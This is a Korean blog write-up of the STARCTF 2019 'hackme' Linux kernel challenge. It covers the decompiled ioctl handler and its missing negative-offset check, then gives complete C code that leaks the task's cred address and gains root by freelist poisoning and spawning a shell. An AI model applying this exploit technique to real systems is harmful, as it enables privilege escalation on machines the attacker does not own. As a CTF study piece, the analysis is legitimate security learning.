ii4gsp
[Kernel] STARCTF 2019 - hackme 본문
#! /bin/sh
cd `dirname $0`
stty intr ^]
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-cpu qemu64,smep,smap 2>/dev/null \
-s \
이번 문제의 보호기법으로는 KASLR, SMEP, SMAP, KADR이 걸려있다.
signed __int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
signed __int64 v3; // rax
__int64 v4; // rsi
__int64 *v5; // rax
signed __int64 v7; // rax
__int64 v8; // rdi
__int64 *v9; // rax
__int64 v10; // r12
__int64 v11; // r13
__int64 *v12; // rbx
signed __int64 v13; // rbx
__int64 v14; // rdi
__int64 *v15; // rbx
__int64 v16; // rax
unsigned int v17; // [rsp+0h] [rbp-38h]
__int64 v18; // [rsp+8h] [rbp-30h]
__int64 v19; // [rsp+10h] [rbp-28h]
__int64 v20; // [rsp+18h] [rbp-20h]
copy_from_user(&v17, a3, 32LL);
if ( a2 == 0x30001 ) // kfree
{
v13 = 2LL * v17;
v14 = pool[v13];
v15 = &pool[v13];
if ( v14 )
{
kfree();
*v15 = 0LL;
return 0LL;
}
return -1LL;
}
if ( a2 > 0x30001 )
{
if ( a2 == 0x30002 ) // kwrite
{
v7 = 2LL * v17;
v8 = pool[v7];
v9 = &pool[v7];
if ( v8 && v20 + v19 <= (unsigned __int64)v9[1] )
{
copy_from_user(v20 + v8, v18, v19);
return 0LL;
}
}
else if ( a2 == 0x30003 ) // kread
{
v3 = 2LL * v17;
v4 = pool[v3];
v5 = &pool[v3];
if ( v4 )
{
if ( v20 + v19 <= (unsigned __int64)v5[1] )
{
copy_to_user(v18, v20 + v4, v19);
return 0LL;
}
}
}
return -1LL;
}
if ( a2 != 0x30000 ) // kmalloc
return -1LL;
v10 = v19;
v11 = v18;
v12 = &pool[2 * v17];
if ( *v12 )
return -1LL;
v16 = _kmalloc(v19, 6291648LL);
if ( !v16 )
return -1LL;
*v12 = v16;
copy_from_user(v16, v11, v10);
v12[1] = v10;
return 0LL;
}
이번 모듈은 hackme_ioctl() 함수만 분석하면된다.
인자 a2에 따라 write, read, malloc, kree를 할 수 있다.
취약점은 write, read에서 발생하는데 오프셋 변수 v20에 대한 음수 체크를 하지않는다.
따라서 힙 주소 + 오프셋에 원하는 데이터를 쓰고 읽을 수 있어 OOB 취약점이 발생한다.
권한 상승을 위해 task_struct -> cred의 주소를 구해야 한다.
주소를 구하기 위해 prctl() 이라는 함수를 이용하면 된다.
prctl() 함수는 프로세스의 이름을 변경하는 함수인데 task_struct -> comm 이곳에 프로세스의 이름이 저장된다.
task_struct -> comm - 0x8 위치에는 cred가 존재하기 때문에 prctl() 함수를 이용하여 프로세스의 이름을 변경 후 read() 함수로 데이터를 긁어와서 변경된 프로세스 이름을 비교하여 주소를 구하면 된다.
무엇보다 편한 점은 task_struct의 오프셋으로 접근하지 않아도된다.
struct usr_input
{
unsigned int index;
char *user_buf;
size_t len;
size_t offset;
}input;
모듈에서 사용하는 구조체는 위와 같다.
// gcc -o poc poc.c -static -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
char u_buf[0x100000] = { 0, };
struct usr_input
{
unsigned int index;
char *user_buf;
size_t len;
size_t offset;
}input;
void kmalloc(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
memset(u_buf, 0, sizeof(u_buf));
input.index = index;
input.user_buf = user_buf;
input.len = len;
input.offset = offset;
ioctl(fd, 0x30000, &input);
}
void kwrite(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
input.index = index;
input.user_buf = user_buf;
input.len = len;
input.offset = offset;
ioctl(fd, 0x30002, &input);
}
void kread(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
input.index = index;
input.len = len;
input.offset = offset;
ioctl(fd, 0x30003, &input);
}
void kfree(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
input.index = index;
ioctl(fd, 0x30001, &input);
}
int main()
{
int fd;
char find_str[] = "asdasdasd";
char *str;
fd = open("/dev/hackme", O_RDONLY);
if(fd < 0)
{
printf("[-] /dev/hackme Fail\n");
exit(-1);
}
printf("[+] /dev/hackme Finish\n");
prctl(PR_SET_NAME, find_str);
for(int i = 0; i < 50; i++)
{
kmalloc(fd, i, u_buf, 0x40, 0);
}
kread(fd, 49, u_buf, 0x100000, -0x100000);
str = (char*)memmem(u_buf, 0x100000, find_str, 0x8);
uintptr_t cred = *(uintptr_t*)(str - 0x8);
printf("[+] struct cred addr: %p\n", cred);
return 0;
}
위와 같은 코드로 task_struct -> cred의 주소를 구할 수 있다.
이제 익스만 하면 된다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
char u_buf[0x100000] = { 0, };
struct usr_input
{
unsigned int index;
char *user_buf;
size_t len;
size_t offset;
}input;
void kmalloc(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
memset(u_buf, 0, sizeof(u_buf));
input.index = index;
input.user_buf = user_buf;
input.len = len;
input.offset = offset;
ioctl(fd, 0x30000, &input);
}
void kwrite(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
input.index = index;
input.user_buf = user_buf;
input.len = len;
input.offset = offset;
ioctl(fd, 0x30002, &input);
}
void kread(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
input.index = index;
input.len = len;
input.offset = offset;
ioctl(fd, 0x30003, &input);
}
void kfree(int fd, unsigned int index)
{
input.index = index;
ioctl(fd, 0x30001, &input);
}
int main()
{
int fd;
char find_str[] = "asdasdasd";
char *str;
fd = open("/dev/hackme", O_RDONLY);
if(fd < 0)
{
printf("[-] /dev/hackme Fail\n");
exit(-1);
}
printf("[+] /dev/hackme Finish\n");
prctl(PR_SET_NAME, find_str);
for(int i = 0; i < 50; i++)
{
kmalloc(fd, i, u_buf, 0x40, 0);
}
kread(fd, 49, u_buf, 0x100000, -0x100000);
str = (char*)memmem(u_buf, 0x100000, find_str, 8);
uintptr_t cred = *(uintptr_t*)(str - 8);
printf("[+] struct cred addr: %p\n", cred);
kfree(fd, 47);
kfree(fd, 48);
*(uintptr_t*)u_buf = cred - 0x10;
kwrite(fd, 49, u_buf, 0x40, -0x40);
size_t set_uid[8] = { 0, };
kmalloc(fd, 47, u_buf, 0x40, 0);
kmalloc(fd, 48, (char*)set_uid, 0x40, 0);
system("/bin/sh");
return 0;
}
전체적인 익스 코드이다.
47, 48 인덱스를 free 해주면 pool[48]의 fd에 pool[47]의 주소가 들어간다.
cred - 0x10의 값을 버퍼에 저장해주는 이유는 cred 구조체의 usage 멤버 때문이다.
usage 여러 개의 프로세스에서 cred 구조체를 동시에 사용할 때 cred 구조체를 사용하는 프로세스의 개수를 저장한다.
usage가 0으로 만들어버리면 커널 패닉이 일어나기 때문에 usage를 피해 uid, gid를 0으로 만들어 줘야한다.
write() 함수로 pool[49] 인덱스의 -0x40 위치인 해제된 pool[48] 인덱스에 cred를 넣어준다.
그리고 malloc을 2번 해주면 pool[47], pool[48] 인덱스의 freed 청크가 재할당 되고 cred의 uid, gid를 0으로 만들어주면 된다.
'시스템 해킹 > Kernel' 카테고리의 다른 글
[Kernel] Blaze CTF 2018 - blazeme (0) | 2021.02.22 |
---|---|
[1-day Analysis] CVE-2020-1027 ( Windows buffer overflow in CSRSS ) (0) | 2021.02.15 |
[Kernel] hack.lu 2019 - Baby_Kernel 2 (0) | 2021.02.14 |
[Kernel] CISCN 2017 - babydriver (linux kernel UAF) (0) | 2021.01.07 |
[Kernel] QWB CTF 2018 - core (linux kernel exploit) (0) | 2021.01.07 |